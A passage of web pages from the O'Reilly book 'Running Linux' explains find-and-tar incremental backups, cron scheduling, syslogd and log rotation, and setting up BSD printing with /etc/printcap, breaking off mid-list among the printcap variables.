[33]If you're not familiar with find, become so soon. find is a great way to locate files across many directories that have certain filenames, permissions, or modification times. find can even execute a program for each file that it locates. In short, find is your friend, and all good system administrators know how to use it well.

For example, to produce a list of all files that were modified in the last 24 hours, we can use the command:

find / -mtime -1 \! -type d -print > /tmp/filelist.daily
The first argument to find is the directory to start from--here, /, the root directory. The -mtime -1 option tells find to locate all files that changed in the last 24 hours.

The \! -type d is complicated (and optional), but it cuts some unnecessary stuff from your output. It tells find to exclude directories from the resulting file list. The ! is a negation operator (meaning here, "exclude files of type d"), but put a backslash in front of it because otherwise the shell interprets it as a special character.

The -print causes all filenames matching the search to be printed to standard output. We redirect standard output to a file for later use. Likewise, to locate all files that changed in the last week, use:

find / -mtime -7 -print > /tmp/filelist.weekly

Note that if you use find in this way, it traverses all mounted filesystems. If you have a CD-ROM mounted, for example, find attempts to locate all files on the CD-ROM as well (which you probably do not wish to backup). The -prune option can be used to exclude certain directories from the walk performed by find across the system; or, you can use find multiple times with a first argument other than /. See the manual page for find for details.

Now you have produced a list of files to back up. Previously, when using tar, we have specified the files to archive on the command line. However, this list of files may be too long for a single command line (which is usually limited to around 2048 characters), and the list itself is contained within a file.

You can use the -T option with tar to specify a file containing a list of files for tar to back up. In order to use this option, you have to use an alternate syntax to tar in which all options are specified explicitly with dashes. For example, to back up the files listed in /tmp/filelist.daily to the device /dev/rft0, use the command:

tar -cv -T /tmp/filelist.daily -f /dev/rft0

You can now write a short shell script that automatically produces the list of files and backs them up using tar. You can use cron to execute the script nightly at a certain time; all you have to do is make sure there's a tape in the drive. You can write similar scripts for your weekly and monthly backups. cron is covered in the next section.

Previous | Home | Next
7.6. Loading Modules Automatically | Book Index | 8.2. Scheduling Jobs Using cron
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Scheduling Jobs Using cron (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

8.2. Scheduling Jobs Using cron

The original purpose of the computer was to automate routine tasks. If you must back up your disk at 1:00 A.M. every day, why should you have to enter the commands manually each time--particularly if it means getting out of bed? You should be able to tell the computer to do it and then forget about it. On Unix systems, cron exists to perform this automating function. Briefly, you use cron by running the crontab command and entering lines in a special format recognized by cron. Each line specifies a command to run and when to run it.

Behind your back, crontab saves your commands in a file bearing your username in the /var/spool/cron/crontabs directory. (For instance, the crontab file for user mdw would be called /var/spool/cron/crontabs/mdw.) A daemon called crond reads this file regularly and executes the commands at the proper times. One of the rc files on your system starts up crond when the system boots. There actually is no command named cron, only the crontab utility and the crond daemon.

On some systems, use of cron is limited to the root user. In any case, let's look at a useful command you might want to run as root and show how you'd specify it as a crontab entry. Suppose that every day you'd like to clean old files out of the /tmp directory, which is supposed to serve as temporary storage for files created by lots of utilities.

Most systems remove the contents of /tmp when the system reboots, but if you keep it up for a long time, you may find it useful to use cron to check for old files (say, files that haven't been accessed in the past three days). The command you want to enter is:

ls -l filename

But how do you know which filename to specify? You have to place the command inside a find command, which lists all files beneath a directory and performs the operation you specify on each one.

We've already seen the find command in the section "Section 8.1.2, "Incremental Backups"." Here, we'll specify /tmp as the directory to search, and use the -atime option to find files whose last access time is more than three days in the past. The -exec option means "execute the following command on every file we find":

find /tmp \! -type d -atime +3 -exec ls -l {} \;

The command we are asking find to execute is ls -l, which simply shows details about the files. (Many people use a similar crontab entry to remove files, but this is hard to do without leaving a security hole.) The funny string {} is just a way of saying "Do it to each file you find, according to the previous selection material." The string \; tells find that the -exec option is finished.

Now we have a command that looks for old files on /tmp. We still have to say how often it runs. The format used by crontab consists of six fields:

minute   hour   day   month   dayofweek   command

Fill the fields as follows:

  1. Minute (specify from 0 to 59)

  2. Hour (specify from 0 to 23)

  3. Day of the month (specify from 1 to 31)

  4. Month (specify from 1 to 12, or a name such as jan, feb, and so on)

  5. Day of the week (specify from 0 to 6 where 0 is Sunday, or a name such as mon, tue, and so on)

  6. Command (can be multiple words)

Figure 8-1 shows a cron entry with all the fields filled in. The command is a shell script, run with the Bourne shell sh. But the entry is not too realistic: the script runs only when all the conditions in the first five fields are true. That is, it has to run on a Sunday that falls on the 15th day of either January or July--not a common occurrence! So this is not a particularly useful example.

Figure 8-1. Sample cron entry

If you want a command to run every day at 1:00 A.M., specify the minute as 0 and the hour as 1. The other three fields should be asterisks, which mean "every day and month at the given time." The complete line in crontab is:

0 1 * * * find /tmp -atime 3 -exec ls -l {} \;

Since there are a lot of fancy things you can do with the time fields, let's play with this command a bit more. Suppose you want to run the command just on the first day of each month. You would keep the first two fields, but add a 1 in the third field:

0 1 1 * * find /tmp -atime 3 -exec ls -l {} \;

To do it once a week on Monday, restore the third field to an asterisk but specify either 1 or mon as the fifth field:

0 1 * * mon find /tmp -atime 3 -exec ls -l {} \;

To get even more sophisticated, there are ways to specify multiple times in each field. Here, a comma means "run on the 1st and 15th day" of each month:

0 1 1,15 * * find /tmp -atime 3 -exec ls -l {} \;

while a hyphen means "run every day from the 1st through the 15th, inclusive":

0 1 1-15 * * find /tmp -atime 3 -exec ls -l {} \;

and a slash followed by a 5 means "run every fifth day" which comes out to the 1st, 6th, 11th, and so on:

0 1 */5 * * find /tmp -atime 3 -exec ls -l {} \;

Now we're ready to actually put the entry in our crontab file. Become root (since this is the kind of thing root should do) and enter the crontab command with the -e option for "edit":

rutabaga# crontab -e

By default, this command starts a vi edit session. If you'd like to use Emacs instead, you can specify this before you start crontab. For a Bourne-compliant shell, enter the command:

rutabaga# export VISUAL=emacs
For the C shell:
rutabaga# setenv VISUAL emacs

The environment variable EDITOR also works in place of VISUAL for some versions of crontab. Enter a line or two beginning with hash marks (#) to serve as comments explaining what you're doing, then put in your crontab entry:

# List files on /tmp that are 3 or more days old.  Runs at 1:00 AM
# each morning.
0 1 * * * find /tmp -atime 3 -exec ls -l {} \;

When you exit vi, the commands are saved. Look at your crontab entry by entering:

rutabaga# crontab -l

We have not yet talked about a critical aspect of our crontab entry: where does the output go? By default, cron saves up the standard output and standard error and sends them to the user as a mail message. In this example, the mail goes to root, but that should automatically be directed to you as the system administrator. Make sure the following line appears in /usr/lib/aliases (/etc/aliases on Debian):

root: your-account-name

In a moment, we'll show what to do if you want output saved in a file instead of being mailed to you.

Here's another example of a common type of command used in crontab files. It performs a tape backup of a directory. We assume that someone has put a tape in the drive before the command runs. First, an mt command makes sure the tape in the /dev/rft0 device is rewound to the beginning. Then a tar command transfers all the files from the directory /src to the tape. A semicolon is used to separate the commands; that is standard shell syntax:

# back up the /src directory once every two months.
0 2 1 */2 * mt -f /dev/rft0 rewind; tar cf /dev/rft0 /src

The first two fields ensure that the command runs at 2:00 A.M., and the third field specifies the first day of the month. The fourth field specifies every two months. We could achieve the same effect, in a possibly more readable manner, by entering:

0 2 1 jan,mar,may,jul,sep,nov * mt -f /dev/rft0 rewind; \
          tar cf /dev/rft0 /src

The section "Section 8.1, "Making Backups"" explains how to do backups on a regular basis.

The following example uses mailq every two days to test whether there is any mail stuck in the mail queue, and sends the mail administrator the results by mail. If there is mail stuck in the mail queue, the report includes details about addressing and delivery problems, but otherwise the message is empty:

0 6 */2 * * mailq -v | \
          mail -s "Tested Mail Queue for Stuck Email" postmaster

Probably you don't want to receive a mail message every day when everything is going normally. In the examples we've used so far, the commands do not produce any output unless they encounter errors. But you may want to get into the habit of redirecting the standard output to /dev/null, or sending it to a log file like this (note the use of two > signs so that we don't wipe out previous output):

0 1 * * * find /tmp -atime 3 -exec ls -l {} \; >> /home/mdw/log

In this entry, we redirect the standard output, but allow the standard error to be sent as a mail message. This can be a nice feature, because we'll get a mail message if anything goes wrong. If you want to make sure you don't receive mail under any circumstances, redirect both the standard output and the standard error to a file:

0 1 * * * find /tmp -atime 3 -exec ls -l {} \; >> /home/mdw/log 2>&1

When you save output in a log file, you get the problem of a file that grows continuously. You may want another cron entry that runs once a week or so, just to remove the file.

Only Bourne shell commands can be used in crontab entries. That means you can't use any of the convenient extensions recognized by bash and other modern shells, such as aliases or the use of ~ to mean "my home directory." You can use $HOME, however; cron recognizes the $USER, $HOME, and $SHELL environment variables. Each command runs with your home directory as its current directory.

Some people like to specify absolute path names for commands, like /usr/bin/find and /bin/rm, in crontab entries. This ensures that the right command is always found, instead of relying on the path being set correctly.

If a command gets too long and complicated to put on a single line, write a shell script and invoke it from cron. Make sure the script is executable (use chmod +x) or execute it by using a shell like:

0 1 * * * sh runcron

As a system administrator, you often have to create crontab files for dummy users, such as news or UUCP. Running all utilities as root would be overkill and possibly dangerous, so these special users exist instead.

The choice of a user also affects file ownership: a crontab file for news should run files owned by news, and so on. In general, make sure utilities are owned by the user in whose name you create the crontab file.

As root, you can edit other users' crontab files by using:

tigger # crontab -u user -e

Also, think about who is going to use the output files you create. If a file is created by a cron entry running as news, you may have trouble reading the file later as another user. You may have to use chown or chmod in your cron script to make sure the file is usable later. These commands are discussed in the section "Section 4.14, "Changing the Owner, Group, and Permissions"" in Chapter 4, "Basic Unix Commands and Concepts".

Since you can't log in as news, you can edit news's crontab file as root using the command:

rutabaga# crontab -e -u news
Previous | Home | Next
8. Other Administrative Tasks | Book Index | 8.3. Managing System Logs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing System Logs (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

8.3. Managing System Logs

The syslogd utility logs various kinds of system activity, such as debugging output from sendmail and warnings printed by the kernel. syslogd runs as a daemon and is usually started in one of the rc files at boot time.

The file /etc/syslog.conf is used to control where syslogd records information. Such a file might look like the following:

*.info;*.notice    /var/log/messages
mail.debug         /var/log/maillog
*.warn             /var/log/syslog
kern.emerg         /dev/console
The first field of each line lists the kinds of messages that should be logged, and the second field lists the location where they should be logged. The first field is of the format:
facility.level [; facility.level … ]
where facility is the system application or facility generating the message, and level is the severity of the message.

For example, facility can be mail (for the mail daemon), kern (for the kernel), user (for user programs), or auth (for authentication programs such as login or su). An asterisk in this field specifies all facilities.

level can be (in increasing severity): debug, info, notice, warning, err, crit, alert, or emerg.

In the previous /etc/syslog.conf, we see that all messages of severity info and notice are logged to /var/log/messages, all debug messages from the mail daemon are logged to /var/log/maillog, and all warn messages are logged to /var/log/syslog. Also, any emerg warnings from the kernel are sent to the console (which is the current virtual console, or an xterm started with the -C option).

The messages logged by syslogd usually include the date, an indication of what process or facility delivered the message, and the message itself--all on one line. For example, a kernel error message indicating a problem with data on an ext2fs filesystem might appear in the log files as:

Dec  1 21:03:35 loomer kernel: EXT2-fs error (device 3/2):
  ext2_check_blocks_bit map: Wrong free blocks count in super block,
  stored = 27202, counted = 27853
Similarly, if an su to the root account succeeds, you might see a log message such as:
Dec 11 15:31:51 loomer su: mdw on /dev/ttyp3
 Log files can be important in tracking down system problems. If a log file grows too large, you can delete it using rm; it will be recreated when syslogd starts up again.

Your system probably comes equipped with a running syslogd and an /etc/syslog.conf that does the right thing. However, it's important to know where your log files are and what programs they represent. If you need to log many messages (say, debugging messages from the kernel, which can be very verbose) you can edit syslog.conf and tell syslogd to reread its configuration file with the command:

kill -HUP `cat /var/run/syslog.pid`
Note the use of backquotes to obtain the process ID of syslogd, contained in /var/run/syslog.pid.

Other system logs might be available as well. These include:

/var/log/wtmp

This file contains binary data indicating the login times and duration for each user on the system; it is used by the last command to generate a listing of user logins. The output of last might look like:

mdw      tty3                Sun Dec 11 15:25   still logged in
mdw      tty3                Sun Dec 11 15:24 - 15:25  (00:00)
mdw      tty1                Sun Dec 11 11:46   still logged in
reboot   ~                   Sun Dec 11 06:46

A record is also logged in /var/log/wtmp when the system is rebooted.

/var/run/utmp

This is another binary file that contains information on users currently logged into the system. Commands, such as who, w, and finger, use this file to produce information on who is logged in. For example, the w command might print:

  3:58pm  up  4:12,  5 users,  load average: 0.01, 0.02, 0.00
User     tty       login@  idle   JCPU   PCPU  what
mdw      ttyp3    11:46am    14                -
mdw      ttyp2    11:46am            1         w
mdw      ttyp4    11:46am                      kermit
mdw      ttyp0    11:46am    14                bash
We see the login times for each user (in this case, one user logged in many times), as well as the command currently being used. The w manual page describes all of the fields displayed.

/var/log/lastlog

This file is similar to wtmp, but is used by different programs (such as finger, to determine when a user was last logged in.)

Note that the format of the wtmp and utmp files differs from system to system. Some programs may be compiled to expect one format and others another format. For this reason, commands that use the files may produce confusing or inaccurate information--especially if the files become corrupted by a program that writes information to them in the wrong format.

Logfiles can get quite large, and if you do not have the necessary hard disk space, you have to do something about your partitions being filled too fast. Of course, you can delete the log files from time to time, but you may not want to do this, since the log files also contain information that can be valuable in crisis situations.

One option is to copy the log files from time to time to another file and compress this file. The log file itself starts at 0 again. Here is a short shell script that does this for the log file /var/log/messages:

mv /var/log/messages /var/log/messages-backup
cp /dev/null /var/log/messages

CURDATE=`date +"%m%d%y"`

mv /var/log/messages-backup /var/log/messages-$CURDATE
gzip /var/log/messages-$CURDATE

First, we move the log file to a different name and then truncate the original file to 0 bytes by copying to it from /dev/null. We do this so that further logging can be done without problems while the next steps are done. Then, we compute a date string for the current date that is used as a suffix for the filename, rename the backup file, and finally compress it with gzip.

You might want to run this small script from cron, but as it is presented here, it should not be run more than once a day--otherwise the compressed backup copy will be overwritten, because the filename reflects the date but not the time of day. If you want to run this script more often, you must use additional numbers to distinguish between the various copies.

There are many more improvements that could be made here. For example, you might want to check the size of the log file first and only copy and compress it if this size exceeds a certain limit.

Even though this is already an improvement, your partition containing the log files will eventually get filled. You can solve this problem by keeping only a certain number of compressed log files (say, 10) around. When you have created as many log files as you want to have, you delete the oldest, and overwrite it with the next one to be copied. This principle is also called log rotation. Some distributions have scripts like savelog or logrotate that can do this automatically.

To finish this discussion, it should be noted that most recent distributions like SuSE, Debian, and Red Hat already have built-in cron scripts that manage your log files and are much more sophisticated than the small one presented here.

Previous | Home | Next
8.2. Scheduling Jobs Using cron | Book Index | 8.4. Managing Print Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Print Services (Running Linux)

 Running LinuxSearch this book
Previous Next

8.4. Managing Print Services

Linux has a fairly complicated printing system, compared to the printing services most personal computers use. It allows many users to print documents at the same time, and each user can send documents from one or more applications without waiting for the previous document to finish printing. The printing system processes the files to be printed correctly on different kinds of printers connected to the computer in different ways. If you print on a network, files can be created on one host and printed out on a printer controlled by another host.

The whole process happens without much fuss, when you press the Print button in an application or issue a command, such as lpr, to print a document. That document does not go directly to the printer, though, because it might already be busy. Instead, the document is stored in a temporary file in a directory called the printer spool directory. As the word "spool" suggests, the documents get taken out of the directory one by one as the printer becomes free. Each printer has its own spool directory.

When Linux starts, it sets up a printer daemon (an independently running process) called lpd. This process waits around checking each spool directory for files that should be printed. When the process finds a file, it makes a copy of itself. The new lpd takes control of the print spool where the file was placed and queues it for printing. It won't send the next file to that printer until the last file has finished printing. The master lpd starts an lpd for each spooling directory on the system when a file is sent to it, so there may be as many lpd daemons running as the number of active spooling directories plus the master lpd. Each subordinate lpd stays around until its spool directory is empty.

Your Linux installation process associates the printer port on your system to a device named in the /dev directory. You must then link that device name to the convenient printer names you use in your commands; that's the role of the printer capability file called /etc/printcap.

Another key task in printer management is to make sure you have filters in place for lpd to use when formatting documents for printing. These filters are also specified in the /etc/printcap file, and we'll talk a lot about them in this section.

There are several printer-support packages for Linux. Most distributions use the BSD-derived package that contains the lpd printer daemon. These packages include a set of utilities and manpage documents to support traditional Unix-style printing on Linux. The BSD printing system doesn't have as many administrative tools or user controls as, for example, the System V Unix printer-management system (which uses the lpsched daemon), but each user controls the files that she sends to the printer. This section describes installation and configuration of the BSD printer-support package. (The various printing utilities are described in the section "Section 9.5, "Printing"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing".)

Some Linux distributions provide a printer-management tool that simplifies printer installation and management through a graphical user interface. These tools are documented by the vendor that supplies them. They manage printing by controlling the same tools and files we are about to describe, but with less fine control. They can save you a lot of trouble in getting started, but they don't always get things right. If you want to correct an installation set up through these tools or want to improve on their performance, you still should work through the procedures in this section.

8.4.1. Checking Printer Hardware

Before you set up printer services, be sure the printing devices are online. If you also use another operating system, such as OS/2, Coherent, or MS-DOS, you can exercise the hardware to ensure that it is connected properly and working before loading Linux. Successfully printing a document from another operating system immediately eliminates one major source of woe and headscratching. Similarly, if you are going to use printer services on a network, your system should be on the network and all protocols functioning before proceeding.

You install printer services as the root user, with superuser privileges. The super-user is the only user besides the lpd print daemon able to write directly to a printer by directing output to the corresponding output device. Other users cannot send output directly to the printer and must instead use the printer utilities to handle printing tasks.

Before you get started, you can abuse your root privileges to verify that your system's assigned device files actually have a valid link to the physical device. Just send a brief ASCII test file directly to the printer by redirection. For instance, if you have a printer on your first parallel port, its device name is probably either /dev/lp0 or /dev/lp1, depending on your installation. The following command outputs some text suited for testing a printer setup, which you can redirect to your printer. (If you have an early PostScript printer, you may need instead to send it a small PostScrip test file to prevent it from getting confused.)

lptest > /dev/lp1

The lptest utility is designed to conveniently exercise an ASCII printer or terminal to make sure it is working correctly. It sends a prepared file composed of the 96 ASCII characters in a sequence that creates a "ripple" or "barber-pole" output effect. The default output of lptest on Linux is 16,000 characters arrayed in 79-character lines, long enough to require more than one page to print. If you run lptest with no arguments, it prints the standard output to your screen, and you can see what should be sent to the printer. The lptest command allows you to trim the width of the output column and to limit the number of output lines. For example, to display an output 35 characters wide, limited to six lines, you would enter:

lptest 35 6
The output should look much like this:
!"#$%&'()*+,-./0123456789:;<=>?@ABC
"#$%&'()*+,-./0123456789:;<=>?@ABCD
#$%&'()*+,-./0123456789:;<=>?@ABCDE
$%&'()*+,-./0123456789:;<=>?@ABCDEF
%&'()*+,-./0123456789:;<=>?@ABCDEFG
&'()*+,-./0123456789:;<=>?@ABCDEFGH
This output is short enough that you can see the result of redirecting it to your printer without wasting a lot of paper and long enough to identify many obvious problems with printing.

Of course, you can also use the cat command to direct a file to the printer. To send a PostScript test file to a PostScript printer, for example, type:

cat testfile.ps > /dev/lp1

If you have a serial printer, try directing output to the serial port to which it is connected. For the first serial port (COM1: in MS-DOS) try something like:

lptest > /dev/ttys0
or:
lptest > /dev/ttyS0

Make sure you send to the correct serial port; don't try to output the file to a serial mouse, for example. If your serial printer is on the second serial port, for example, it is addressed as /dev/ttyS1 or /dev/ttys1.

If you have a page printer that buffers a partial page, after it stops printing you may need to take the printer offline and press the Form Feed button to get it to print the last partial page. Don't forget to put the printer back online afterward. (If your printer does buffer partial pages, you want Linux to send the formfeed character to the printer, either by forcing it through the /etc/printcap entry for the printer or by having the printer filter append it to the end of the file. We'll discuss these options later.)

If your little test resulted in "laddered" text (text that looks something like the following example) and then continued off the page, the printer did not insert a carriage return at the end of each line:

!"#$%&'()*+,-./0123456789:;<=>?@ABC
                                   "#$%&'()*+,-./0123456789:;<=>?@ABCD
                                                                      #$

You might be able to figure out what went wrong here. Text files in Unix use just a newline (also known as a linefeed, ASCII code 10) to terminate each line. MS-DOS uses both a newline and a carriage return. Your printer was therefore set up to use MS-DOS-style line endings with both newline and carriage-return characters at the end of each line. In order to print a text file from Unix, you can install a printer filter to accommodate the Unix newline, or you can reconfigure your printer to properly return to the start of the line on receipt of a newline character. Often this is simply a matter of setting a dip switch. Check your printer manual. (Be careful about changing your printer characteristics if you use multiple operating systems.)

Laddering won't be an issue if you have a printer using a page-description language such as PostScript (the universally used page-layout language from Adobe), and you always filter plain text into that output form before printing. Filtering is described later in this chapter.

8.4.2. Gathering Resources

OK, you have your printer hardware set up and connected. You should collect hardcopy of your resource documents (at least the manpages for the print utilities and files described here, and the Printing HOWTO file). Also, it is useful to have the technical specifications for your printer. Often these are no longer provided when you buy your printer, but you can usually download the information you need from an FTP site or BBS operated by the printer manufacturer. While you are retrieving such information, look around and see if there is documentation (such as a description of printer error messages and their meanings) that can help you troubleshoot and manage your printer. Most printer manufacturers also offer a technical manual for the printer that you can buy. This may or may not be the same volume as the service manual.

For example, on the Hewlett Packard FTP site, ftp://boi.external.hp.com, you can retrieve printer technical data sheets; product specs; port-configuration information; PostScript, PCL, and HP-GL files for testing your printers (and filters); descriptions of printer control sequences you can pass to the printer to control its behavior; and documents telling how you can integrate lpd-based printing services with HP's JetAdmin package (and thereby with Netware-networked printers as well).

Now, before starting, take a deep breath; be patient with yourself. Printer services configuration is a skill that takes time to develop. If you have sufficiently standard equipment and successfully use one of the new-fangled printer management utilities to quickly and efficiently install and configure printer services, celebrate! Then note that you can probably fine-tune the installation for better performance by applying the procedures we describe next and perhaps by using filters and utilities written specifically to support all the features of your printer model. If you decide to revise a successful printer installation, make sure you take notes on the changes you make so you can find your way back if your changes don't do what you expected.

8.4.3. Choosing Printer Software

In order to print from Linux, you need to install the BSD print system. This provides basic tools, but it does not support modern printers. Indeed, it was designed to support line printers and devices common to the computer rooms of the '60s and '70s. In order to support modern printers, powerful supplemental packages provide the features most users think of as essential. (The ftp://metalab.unc.edu FTP site and its mirrors archive the packages we mention here.)

In this section, we discuss some important packages to support modern print services. We assume your system will have at least the groff formatter, the Ghostscript page-formatting package, and the GNU Enscript filter packages, which are described in Chapter 9, "Editors, Text Tools, Graphics, and Printing". Most Linux distributions already include these as well as other formatting and printing utilities. If yours does not, you can retrieve them from the usual Linux FTP sites or take them from the CD-ROM of another distribution.

It matters where you get formatting and filtering packages. If you receive Ghostscript from a European distribution, for example, it probably defaults to an A4 paper format rather than the 8.5x11-inch paper format kept in U.S. binary archives. In either case, the default can easily be overridden through an lpr option passed to the filter. Alternatively, you can build the tools from source.

The trend in printer technology is away from character-oriented output and toward adoption of a page-description language (PDL) that provides sophisticated graphics and font control. By far the most popular of the PDLs is PostScript, which has been widely adopted in the Unix and Internet communities. A major reason for its acceptance is Ghostscript, a PostScript implementation copyrighted by Aladdin Enterprises. A version is also distributed under the GNU Public License through the Free Software Foundation, along with a large font library, that can be used with either version or other PostScript interpreters.

Ghostscript implements almost all the instructions of the PostScript language and supports viewer utilities, such as Ghostview, that allow PostScript documents to be displayed in X windows. Similarly, excellent filters are readily available that convert PostScript output into other printing languages, such as Hewlett-Packard's PCL, and into forms printable as raster output on inkjet, dot matrix, and laser printers. Ghostscript is indispensable if you do any kind of printing besides character-based output and is easily extensible. The Ghostscript package supports Adobe type 1 and 3 PostScript fonts and provides a number of utilities for graphic format conversion and filtering. It can even generate PDF files, i.e., files that conform to the Adobe Portable Document Format specification.

Ghostscript may be insufficient to use by itself, however, because it doesn't provide printer control to switch between PostScript and text modes. Although Ghostscript does provide a filter that provides this capability (and more), the nenscript filter meets the tests of simplicity, flexibility, and reliability for most systems, so we document it here.

A typical Linux formatting and printing system might primarily use groff to format, creating PostScript output that is then processed by Ghostscript for printing and display. Often there will be parallel printing systems installed that perform document formatting to suit preferences of various users or accommodate files received in different typesetting formats.

8.4.4. Checking Print Utilities

You probably also want to install the TeX formatting package. Even if you do not install the full TeX distribution, you should at least install the xdvi utility, in order to view TeX output and Texinfo files in an X window. Other filters can process DVI output into forms such as PostScript (dvips) or PCL (dvilj) if you have an aversion to the Ghostscript package or need to use native printer fonts for efficient data transfer and rapid printing.

The Lout package is also worthy of consideration as an efficient and compact package to format documents for PostScript output. It supports Level 2 PostScript and the Adobe Structuring Conventions, takes comparatively little memory, and comes with good enough documentation to learn quickly. Lout doesn't create an intermediate output form; it goes directly from markup input to PostScript output.

To support graphics work and X Window System utilities, you probably want to install other tools, some of which probably come with your distribution. A collection of current versions of the most popular print support packages for Linux can be found at the ftp://metalab.unc.edu Linux archive, in /pub/Linux/system/printing. The netpbm and pbmplus packages support a large variety of graphic file format conversions. (Such formats have to be converted to PostScript before you try to print them.) The Ghostview package provides display tools to view PostScript files in an X Window System environment, and also provides PostScript and PDF support for other packages, such as your Web browser.

The ImageMagick package, described in Chapter 9, "Editors, Text Tools, Graphics, and Printing", deserves special mention. It lets you display a large number of graphic formats in an X window. (It uses Ghostview and Ghostscript when it needs to display a PostScript image.) Most of the graphics files you can print you can also display using ImageMagick.

A "magic" filter package may also save you much grief in configuring and supporting different document output formats. We will discuss the APSfilter magic filter package (not in great depth) but you may prefer the Magic-Filter package instead. Both are available at the ftp://metalab.unc.edu FTP archive. For more on magic filters, see the section "Section 8.4.9, "Magic Filters: APSfilter and Alternatives"" later in this chapter.

If you want to support fax devices, the tiffg3 utility can be used with Ghostscript to output Group III fax format files. To control a Class 1 or Class 2 faxmodem on your Linux host, you can use the efax package, which is provided in many distributions, or you can install and configure the more capable, but more complex, FlexFax package.

There are additional tools to support double-sided printing on laser printers and packages that convert PostScript to less common printer-control languages to support Canon and IBM Proprinter devices, for example. There is a package to support printing in Chinese on laser printers and bitmap devices. Most of these packages don't directly affect management of print services so we don't describe them in detail here, but this is a good time to install them if you wish to use them.

For the benefit of your users, make sure that all the manual pages for the packages you install are prepared properly when you complete your installations. Then run /sbin/mkwhatis (/usr/bin/mandb on Debian) to build the manual page index file that facilitates locating information online. Some packages, such as Ghostscript, also provide additional documention that you can print or make available on the system for reference. (Linux distributions tend to omit these documents, but you can FTP them from the sites where the software packages are developed and maintained. The GNU archives of the Free Software Foundation, for example, are accessed by anonymous FTP at ftp://GNU.ai.mit.edu.)

Filter selection and use is described "Section 8.4.7, "Print Filters"" section later in this chapter.

8.4.5. Setting Up the Printcap File

The essence of printer configuration is creating correct entries in the printer capabilities file, /etc/printcap. A simple printcap entry for an HP Laserjet 4MP laser printer attached to the first (bidirectional) parallel port on an ISA bus PC might look something like this:[34]

ljet|lp|ps|Postscript|600dpi 20MB memory|local|LPT1:\
     :lp=/dev/lp0:rw:\
     :sd=/var/spool/lpd/ljet4:mx#0:mc#0:pl#72:pw#85:\
     :lf=/var/log/lpd-errs:if=/usr/local/cap/ljet4:
Don't be scared. After reading the following sections, you will find yourself browsing printcap files with ease.

[34]In this chapter, we use ljet4 in several examples. Be aware that the HP Laserjet 4 model is available in several versions. Some Laserjet 4 models are PCL5 printers only, and others use PostScript. Unless you are aware that such things can happen, you can find it very frustrating trying to debug a printer filter that is expecting, for example, PostScript, when Ghostscript is passing it PCL5 input.

The /etc/printcap file should accommodate every printer and printer port or address--serial, parallel, SCSI, USB, or networked--your system will use. Make sure it reflects any change in hardware. And as always, be aware that some hardware changes should be performed only when power to your system is shut off.

8.4.5.1. Printcap file format rules

The printcap file format rules, briefly, are:

  • A comment line begins with a pound sign (#).

  • Each "line" of the printcap file defines a printer. A line that ends with a backslash character (\) is continued on the next line. Be very careful that no space or tab character follows the backslash character on the line. Traditionally, a continuation line is indented for readability. Multiple printer definitions can use the same actual printer, applying the same or different filters.

  • Fields in the line are separated by colon characters (:); fields can be empty. However, a printcap line entry cannot be an empty field.

  • Traditionally, the first field in the entry has no preceding colon.

  • The first field of the entry line contains names for the printer, each separated by a vertical bar character (|). In the earlier example entry, this portion is the name field:

    ljet|lp|ps|Postscript|600dpi 20MB memory|local|LPT1
    Printer naming is discussed in detail in the next section. You should create a subdirectory of /var/spool/lpd with the same name as the first printer ID listed in each printcap entry. However, the actual print spool that is used is assigned by the sd variable for the printcap entry; if the sd variable doesn't point to the actual print spool directory, any file sent to that printer definition will vanish.

  • There must be at least a default printer entry in printcap. If a printer is named lp, that printer is used as the default system printer. Do not confuse the lp default printer name with the lp local printer variable, which is described next. We recommend you use lp as an alias (one of the names after the | characters) rather than the primary printer name (the first in the list), so you can switch the default printer without difficulty.

  • Each local printer must have an lp variable set. In the previous example, the variable was set by this segment of the printcap entry:

    lp=/dev/lp0

  • For compulsive and sometimes practical reasons, some administrators recommend that the entries of the printcap file be kept in alphabetical order.

8.4.5.2. Printer names

Most printer entries traditionally begin with a short printer name entry in the first field, at least one fuller printer name, and one longer explanatory entry. Thus, both ljet and PostScript are names for the printer whose nameline is:

ljet|lp|ps|Postscript|600dpi 20MB memory|local|LPT1:
Documents can be output to any printer named in a nameline in /etc/printcap.

You might name your printers after the model (hp, epson) or the type of printer (ps, pcl) or its specific modes. The DeskJet 540, for example, is a printer that should have two definitions in the printcap file, one for black print and another for color. The filters you use to support it are likely to be those for DeskJet 500 or 550C. For simple administration, you can assign printer names that are the names of a filter or filter parameter used for a specific device. Thus, if you have one LaserJet 4 and will use the ljet4 filter only for it, ljet4 is one logical name for the printer. Similarly, a dot-matrix printer might be named 72dpi when accessed via its low-resolution printer definition line, and have the name 144dpi when accessed in a higher resolution.

If you use a printer administration utility that comes with your Linux distribution, you may have to follow certain arbitrary rules in preparing your printcap entries in order to get the tools working. For example, if you use Red Hat's printer manager utility provided on the administrator's desktop, you may need to make sure that hp is the first name of the first active printer entry in the printcap file. This means that when you need to switch default printers, you need to move the new default printer to the top entry of the list and then remove the hp name from the old default printer and prepend it as the first name of the new default printer. In order to prevent confusion in use of the spool queues, you should just leave the /var/spool/lpd/lp directory set up and create a new directory with the actual name of the spool directory that corresponds to the name by which you actually will address the printer. Thus, if you want to send your files to print on a printer named moa, you will need to create a directory named /var/spool/lpd/moa, with appropriate permissions, and specify that directory as the printer spool for that printer. Setting up printer directories is described in the next section.

8.4.5.3. The rest of the printcap variables

The printcap file provides a number of variables that you can define. Some are fairly universal, and others are specific to the implemented features of lpd. Most variables are provided to specify page parameters, files and directories, filters, communication channel settings, and remote access control. Any time you prepare a printcap file on a new system, read the printcap manual page to make sure you use the correct variable names. Variables set in a printcap entry that are not recognized are passed through to the filter for processing.

The printcap variables described here are listed in roughly their order of importance. Some variables are boolean, and are considered set if they are present. Others are set with the assignment operator (=) or numeric value operator (#) and a value; the variable preceedes the operator and the string or number follows the operator. Examples of the variables described in the following list are included in the contrived sample /etc/printcap file that follows. The printcap manual page has a more complete listing of variables recognized by lpd:

sd

Specifies the spool directory used by the printer. Spool directories should all be in the same directory tree (on a fast hard disk), which is usually /var/spool. Spool files are defined even for remote printers. Each spool file should have one of the names assigned to the printer it serves.

lp

